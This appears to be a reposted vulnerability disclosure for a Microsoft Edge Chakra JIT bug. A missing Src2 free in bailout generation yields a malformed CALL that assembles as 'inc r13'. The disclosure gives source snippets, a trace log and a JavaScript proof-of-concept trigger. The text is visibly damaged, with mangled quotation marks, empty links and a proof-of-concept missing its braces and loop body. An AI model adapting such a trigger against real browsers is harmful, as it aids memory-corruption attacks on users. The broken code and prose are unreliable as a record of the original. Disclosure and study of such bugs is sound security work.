Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns

Microsoft Edge Chakra JIT compiler creates incorrect GenerateBailOut calling patterns.

MD5 | 11f1ed6218c70a607f5e232014a97289

 Microsoft Edge: Chakra: JIT: Incorrect GenerateBailOut calling patterns 


"ChakraCoreas background JIT compiler generates highly optimized JITaed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JITaed code abails outa to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."

From <a href="" title="" class="" rel="nofollow"></a>

One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".

Here's a snippet of Lowerer::GenerateBailOut.
// Call the bail out wrapper
instr->m_opcode = Js::OpCode::Call;
// To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
// but the register allocator does not need to kill that register for the call.
instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
m_lowererMD.LowerCall(instr, 0);

Here's some calling patterns of the method.


GenerateBailOut(stElem, nullptr, nullptr);

Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?

Here's the trace log of the PoC.
$L13: [helper]

s51<-48> = MOV s51(<a href="" title="" class="" rel="nofollow">r13</a>) 4C 89 6D D0
(rdi).u64 = MOV 0xXXXXXXXX (BailOutRecord).u64 48 BF 78 23 00 7C 17 7F 00 00
(rax).u64 = MOV SaveAllRegistersAndBailOut.u64 48 B8 20 92 19 93 1F 7F 00 00
CALL (rax).u64, s51(<a href="" title="" class="" rel="nofollow">r13</a>) 49 FF C5
JMP $L14 E9 00 00 00 00
StatementBoundary #-1

"CALL (rax).u64, s51(<a href="" title="" class="" rel="nofollow">r13</a>)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc <a href="" title="" class="" rel="nofollow">r13</a>". This also means there's a bug in the x86-64 assembler.

PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".

Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
instrStFld->m_opcode = Js::OpCode::BailOut;
<<----------- should call FreeSrc2


class MyClass {
constructor() {
this.arr = [1, 2, 3];

f() {
super.arr = [1];
this.x; // for passing BackwardPass::DeadStoreTypeCheckBailOut ?

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

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